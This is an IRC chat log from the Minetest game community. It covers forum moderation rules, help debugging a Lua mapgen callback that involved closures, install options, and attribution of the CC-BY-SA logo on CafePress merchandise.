VanessaE airlynx: sign out/in. I restarted it. 17:18 VanessaE bbl 17:19 klunk please don't ban people with a moderate use of smileys :-) , cause I rarely fail with them :-) 17:19 celeron55 thexyz: smileys are disabled on the forum for a reason 17:20 klunk on forums ? sorry 17:20 klunk this is understundable 17:20 thexyz hm.. can we disable animated avatars? 17:20 celeron55 thexyz: you are free to warn of a ban, and then ban 17:20 rubenwardy they attach smilies with the [img] from this site: http://www.santafemods.com/Smileys.htm 17:21 klunk Could you disable "more than 500 mails feature", please ? ;-))))) 17:21 thexyz um? 17:21 klunk I mean more than 500/2months 17:22 celeron55 added "Graphical smileys are disallowed." to rules 17:22 thexyz great 17:22 VanessaE I need to call find_nodes_in_area() from within minetest.register_on_generated()....what's the right syntax in that case? 17:22 klunk I wich (it is a dream) noone could flood with a lot of crappy messages the forum 17:22 rubenwardy "not allowed" would be better grammatically 17:23 celeron55 also, i guess i'll add same for animated avatars 17:23 klunk because when you are new, you have to came across a desesperately huge amount of bullshit before have a info 17:23 PilzAdam VanessaE, http://dev.minetest.net/EnvRef 17:24 thexyz klunk: that'd be as great as punching people in the face over tcp/ip 17:24 PilzAdam VanessaE, minp and maxp are passed to register_on_generated() so its easy to get them 17:24 VanessaE PilzAdam: I don't understand what "EnvRef" means and it isn't explained anywhere. 17:24 thexyz wait, >Basically ServerEnvironment and ServerMap combined. Can be gotten via minetest.env 17:24 PilzAdam minetest.env 17:24 klunk thexyz: yes, this was not a real proposition, but problems is still here 17:24 VanessaE 12:25:07: ERROR[main]: ...minetest/mods/minetest/plantlife/plants_lib/init.lua:194: attempt to index field 'env' (a nil value) 17:25 VanessaE local searchblocks = table.getn(minetest.env:find_nodes_in_area(minp, maxp, ssurface)) 17:25 PilzAdam VanessaE, be sure to put a : after env, like minetest.env:set_node() 17:25 VanessaE (the affected code) 17:25 klunk thexyz: don't you think people have usually more than 10 interresting stuffs to post by day ? :-) 17:26 thexyz klunk: limits are bad 17:26 thexyz VanessaE: pastebin full code 17:26 klunk thexyz: (sorry, I just read you do something =>forget me) 17:27 VanessaE http://paste.ubuntu.com/1546113/ 17:29 klunk thexyz: totaly agree with that 17:29 VanessaE thexyz: why doesn't that code (well, line 49 of the paste) work? 17:32 thexyz VanessaE: can you provide example call to plantslib:generate_on_surfaces? (the one that produces such error) 17:32 VanessaE (also, when I said it "isn't explained anywhere" I meant the regular api.txt from the minetest repo) 17:32 VanessaE sure 17:32 VanessaE sec\ 17:33 VanessaE http://paste.ubuntu.com/1546131/ 17:33 Calinou high five for ubuntu pastebin 17:34 Calinou "maximim" => "maximum" :P 17:34 VanessaE ignore the "jungletree_seed_diff" and wrong comments here and there, this started as a copy&paste from some code that was used for an ABM, I'm transitioning some code to work from the mapgen rather than ABM 17:34 VanessaE Calinou: oops :) 17:35 VanessaE thexyz: I figure, first I'll just generate something random like yellow wool just so I can see it showing up brightly against other stuff. 17:35 VanessaE then replace that with the real code. 17:38 klunk I wish some experimented modders here, explain a bit to me about this mod, http://forum.minetest.net/viewtopic.php?id=4491, what is weird with that; I'm only interrested by the bees and beehives part. 17:38 klunk hu, please 17:38 thexyz VanessaE: you forgot >plantslib = {}, though it seems to be not the only issue 17:39 VanessaE thexyz: that's at the start of the plants lib init.lua 17:39 VanessaE I just didn't paste the irrelevant stuff 17:39 thexyz yeah, i figured it out 17:39 thexyz well, your problem is quite simple 17:39 VanessaE I suck? 17:39 VanessaE :-) 17:40 thexyz you call register_on_generated(function()), that way it calls function() and then when on_generated occurs on_generated calls function()(), to make it work your function should return function 17:40 thexyz that simple! 17:40 VanessaE O.O 17:40 PilzAdam Lua is so beautiful 17:41 thexyz that's called closures 17:42 thexyz VanessaE: http://bpaste.net/show/71197/ 17:42 thexyz that's how it should be 17:42 thexyz though there are some other errors 17:45 VanessaE that seems...odd. 17:47 marktraceur All right, functional languages! Woo! 17:48 marktraceur Python decorators, by the way, are the same thing. 17:50 VanessaE thexyz: I don't understand (even after reading about it) why such syntax is necessaru 17:50 VanessaE necessary. 17:50 VanessaE can someone explain it in English please? :-) 17:50 marktraceur VanessaE: Basically it's a way to introduce a new scope where there otherwise wouldn't be one 17:51 thexyz =( 17:52 marktraceur OK, wow, that is a large number of arguments 17:52 thexyz that's why i suggested VanessaE to use table instead 17:53 VanessaE well it runs now (after fixing a wrongly-used table.getn() call also) but it ain't actually adding anything. 17:54 VanessaE at least it doesn't crash 17:54 nisio i installed minetest through ubuntu software center anybody know what version it is? 17:54 VanessaE nisio: probably 0.3.x which is way outdated 17:54 PilzAdam very very outdated 17:55 Calinou nisio: try my one line install/compile command if you want to install latest version easily 17:55 PilzAdam Calinou, fix your changelog: "* Added particles when digging blocks (Jeija)" is by Jeija & PilzAdam 17:56 nisio thanks 17:56 VanessaE Calinou: your one-line install is broken 17:56 Calinou http://forum.minetest.net/viewtopic.php?id=3837 17:56 Calinou VanessaE: explain? 17:56 VanessaE Calinou: you left out -DRUN_IN_PLACE= 17:57 thexyz >This is intended: this one-line script is not intended for "portable" installs. The user data goes to .minetest, which means the whole minetest folder is cleaner 17:57 Calinou updated changelog: http://dl.dropbox.com/u/82342922/0.4.x-changelog.txt 17:57 Calinou VanessaE: feature, not a bug 17:57 Calinou user data goes to ~/.minetest and it is much better this way 17:57 Calinou like a packaged install 17:58 VanessaE Calinou: for some people your one-liner produces broken installs. 17:58 PilzAdam I dont understand people not using run in place 17:58 Calinou some people = who? what's broken? 17:58 Calinou PilzAdam: having their configuration in a single folder is better than putting user data in the same folder as program data 17:58 VanessaE I don't remember now who it was. 17:59 PilzAdam Calinou, maybe add both scripts to the topic so people can choose 17:59 Calinou good idea :P 18:01 nisio cd ~ 18:02 Calinou readded spaces between ";"s too, more readable 18:03 PilzAdam the changelog in the software center tells something about a "Michael Gilbert ", maybe someon should mail him that there are updates? 18:03 Calinou debian bug tracker would like to have a talk with you 18:03 Calinou http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=minetest;dist=unstable 18:04 thexyz VanessaE: http://www.lua.org/pil/6.1.html 18:04 VanessaE thexyz: I already read that. 18:05 VanessaE and as with most every other part of the PIL, it's gibberish to someone like me who is used to simpler languages. 18:05 thexyz did that help? 18:05 thexyz oh 18:05 VanessaE I'm afraid not 18:05 VanessaE I had to go elsewhere to get something resembling English :) 18:06 marktraceur "PIL" = "Programming in Lua" and "Python Imaging Library" 18:06 marktraceur I was confused for a sec 18:06 klunk ok, I will try another time, later :-) ....cause I have to go, now, bye ! 18:09 OldCoder Hi 18:09 OldCoder marktraceur, Hello 18:09 marktraceur OldCoder: What up? 18:13 Octupus Hello 18:18 VanessaE thexyz: all right, what other errors? All of the parameters inside search_surfaces() are coming up a nil 18:18 VanessaE -a 18:19 VanessaE this is all new territory for me 18:20 VanessaE (apropos, considering I'm doing this *while generating* new territory ;) ) 18:20 Octupus Can any1 help me with the animals mod on OC servers? 18:20 Octupus how do i catch a chicken or something 18:20 thexyz oh, wait 18:22 thexyz i did it wrong 18:22 KikaRz Hello! 18:22 KikaRz VanessaE is there? 18:22 thexyz VanessaE: http://bpaste.net/show/71209/ 18:22 VanessaE hi 18:22 thexyz that one should work 18:22 KikaRz Cool... New Particles. 18:22 rubenwardy (5:58:12 PM) PilzAdam: I dont understand people not using run in place 18:22 rubenwardy +1 18:22 VanessaE thexyz: NOW that makes more sense! 18:23 KikaRz rubenwardy 18:23 KikaRz Well, the better for some people, is not using RUN IN PLACE 18:23 KikaRz reason: Roaming is enabled in Windows, so, they can make same way as Minecraft. 18:23 marktraceur Oh, rubenwardy, erlehmann got an email from cafepress last night 18:23 Octupus yea 18:23 Octupus if you want to see in windows you type in 18:24 Octupus %appdata% 18:24 KikaRz Aham. 18:24 marktraceur rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy 18:24 leo_rockway I don't use run in place in GNU/Linux. I compile using my package manager, so all my stuff is neatly put where it belongs. 18:24 VanessaE thexyz: still doesn't work, but at least the variables are getting through 18:24 VanessaE oh wait 18:25 VanessaE there. 18:25 thexyz marktraceur: how should we attribute him? 18:25 VanessaE it ain't adding nothin' to the map, but the code no longer crashes. that's a start. 18:26 marktraceur thexyz: I'd imagine that a tiny bit of sideways text saying "(C) Nils Whateverhislastnameis 2011, CC-BY-SA" 18:26 KikaRz VanessaE, tell me the changelog 18:26 marktraceur ...would do it 18:27 VanessaE KikaRz: what changelog? 18:27 KikaRz plz 18:27 KikaRz from minetest 18:27 VanessaE oh 18:27 VanessaE ask Calinou :-) 18:27 PilzAdam http://dl.dropbox.com/u/82342922/0.4.x-changelog.txt 18:27 VanessaE or PilzAdam .. 18:27 KikaRz Pilz, that is updated? 18:27 KikaRz i wanted "snapshot" changelogs 18:28 PilzAdam umm, read the first line? 18:28 KikaRz ah 18:28 KikaRz sry. 18:29 rubenwardy (6:24:23 PM) marktraceur: rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy 18:29 rubenwardy they took down all merchandise 18:30 rubenwardy "Content Usage Policy Warning This image has been flagged as a possible violation of the CafePress Content Usage Policy and has been set to “pending status” which means it cannot be used on any products or available for purchase." 18:32 marktraceur rubenwardy: Not all of it, the black + gold one is still there 18:32 rubenwardy oh yeah 18:32 marktraceur rubenwardy: I'd suggest adding attribution and then they can allow the logo back on 18:33 rubenwardy It is not the logo, it is the name "minetest" 18:33 rubenwardy The dungeon master tshirt had no logo 18:34 rubenwardy *not just the logo 18:34 marktraceur rubenwardy: Minetest isn't trademarked, though 18:34 marktraceur Oh 18:34 rubenwardy yeah, I know 18:34 marktraceur The DM graphic is probably CC-BY-SA also 18:35 marktraceur Wait, shouldn't the Mese graphic be CC-BY-SA? 18:35 marktraceur Why didn't they take that down? 18:35 rubenwardy celeron55 gave permission for both of those 18:40 thexyz marktraceur: can't we, say, add that to receipt? 18:41 marktraceur thexyz: I don't think so, because you need to display attribution wherever the work is, I think 18:41 marktraceur rubenwardy: Wouldn't matter, he doesn't hold the copyright, erlehmann does 18:42 sfan5 new minetest win32 build: http://sfan.sf.funpic.de/minetest-builds/c55/minetest-0.4.4-d1-c691d61-win32.7z 18:42 thexyz marktraceur: can we ask erlehmann to make an exception? 18:43 rubenwardy celeron55 holds the copyright of the DM + Mese, doesn't he? 18:43 thexyz i doubt anyone would wear t-shirt with copyright notice 18:43 marktraceur thexyz: First, people do all the time, it doesn't have to be a *big* copyright notice 18:44 marktraceur thexyz: Second, erlehmann could make an exception, but largely the best way for that to happen is to use CC0, which would sort of defeat the purpose of CC-BY-SA 18:44 thexyz i examined my t-shirt right now and i can't find any copyright notice 18:44 thexyz well, anyway 18:44 nisio i could be on the tag at the neck 18:44 sfan5 minetest t-shirts? 18:45 thexyz probably, but can we add it to the tag? 18:45 nisio yeah that might be a problem 18:46 marktraceur thexyz: You might not be wearing one with a copyrighted image 18:46 marktraceur thexyz: I've seen a lot of comic book t-shirts with that sort of thing 18:46 jojoa1997 what was copyrighted 18:46 thexyz that's just weird 18:46 marktraceur jojoa1997: The Minetest logo, and others 18:46 marktraceur thexyz: It's tiny, I swear 18:47 nisio well minetest is GPL is the logo copyrighted 18:47 jojoa1997 the logo is copyrighted 18:47 nisio hmm 18:47 rubenwardy you can only put stuff on the front of the T-Shirt 18:48 nisio you could incorporate it into the design 18:48 marktraceur rubenwardy: Put some tiny text on one side of it or something 18:48 PilzAdam nisio, Minetest is LGPL 18:48 thexyz we should ask erlehmann to release it under cc0 then 18:48 marktraceur rubenwardy: It's really not that big a deal 18:49 thexyz yes, instead of t-shirt with logo & "minetest", you'll get one with large copyright notice, great 18:49 sfan5 ^ 18:49 marktraceur thexyz: Why do you assume it has to be large? 18:50 marktraceur thexyz: It can be like, size 4 font. 18:50 thexyz still, it'll look odd 18:50 marktraceur It just has to have the information on it somewhere. 18:50 * marktraceur will show you 18:50 marktraceur rubenwardy: Do you have the image of the shirt up somewhere? 18:52 PilzAdam hello meldrian 18:53 rubenwardy http://multa.bugs3.com/upload/tshirts/ 18:53 VanessaE yay! my code works :-) thexyz: thanks for the tip, after a few syntax errors it's working as expected. 18:53 VanessaE http://digitalaudioconcepts.com/vanessa/hobbies/minetest/screenshots/screenshot_1325527474.png 18:53 VanessaE the yellow wool represents the output of the algorithm. 18:54 Calinou inb4 someone suggests wool trees 18:54 VanessaE Calinou: hah! in this case, just bright, easy-to-spot placeholders :-) 18:54 Calinou VanessaE: idea: mushrooms near trees? :-D 18:54 Calinou ...then you could make soup like in minecraft 18:54 VanessaE mushrooms near trees would be easy actually. 18:55 rubenwardy (hint, food mod contains soups) 18:55 rubenwardy no mushroom ones though... 18:55 * VanessaE takes a break and goes to snoop on the remodeling contractor..) 18:55 * rubenwardy loves HTML5 and Canvases 18:57 mauvebic canvasses? 18:58 Calinou canvices? 18:58 Calinou *vertex plural troll* 18:58 mauvebic what are the differences between html4 and 5? (i learned on 2/3 lol) 18:59 rubenwardy http://multa.bugs3.com/file_upload.php?folder=tshirts 18:59 rubenwardy HTML5 is a lot better 18:59 mauvebic thats what they say about each new version of everything :P 18:59 marktraceur rubenwardy, thexyz: http://marktraceur.info/shared/minetest_logo.png 18:59 rubenwardy http://lmgtfy.com/?q=differences+between+html4+and+5%3F 18:59 marktraceur Change to style and so on 19:00 mauvebic theres tons of crap on google that focuses on a narrow subject or feature... 19:00 Calinou marktraceur: for people's eyes sakes, use the svg logo 19:01 mauvebic dont forget your results are your results mostly, they personalized for everyone these days 19:01 * Calinou vomits a frame pointer 19:01 * marktraceur doesn't care 19:01 Calinou also, use ©, not copyright 19:01 marktraceur It was just an example 19:01 Calinou shorter :P 19:01 rubenwardy how about 19:01 rubenwardy "Minetest Logo (c) to , CC-BY SA (c)" 19:01 rubenwardy without the last (c) 19:01 marktraceur rubenwardy: The second (c) isn't necessary, yeah 19:01 Calinou can't you write CC BY-SA 3.0 instead of attribution-sharealike? 19:01 marktraceur rubenwardy: CC-BY-SA might not work. But you definitely need 3.0. 19:02 Calinou :| 19:02 * marktraceur will be fine with CC-BY-SA, just not sure who won't be 19:02 marktraceur Ideally it would include a link to the license 19:03 marktraceur (there are short versions) 19:03 rubenwardy nah 19:03 mauvebic damn lol 19:04 rubenwardy mauvebic: http://electronicdesign.com/site-files/electronicdesign.com/files/archive/electronicdesign.com/content/content/64491/64491_fig1.jpg 19:04 marktraceur .... 19:05 marktraceur WebServerError: Your web server sucks, find a better one 19:05 mauvebic hmm, so it eliminates the need for CSS lol i though theyd have sql support by now 19:05 rubenwardy no, it does not 19:05 rubenwardy it makes the code simpler to understand 19:06 rubenwardy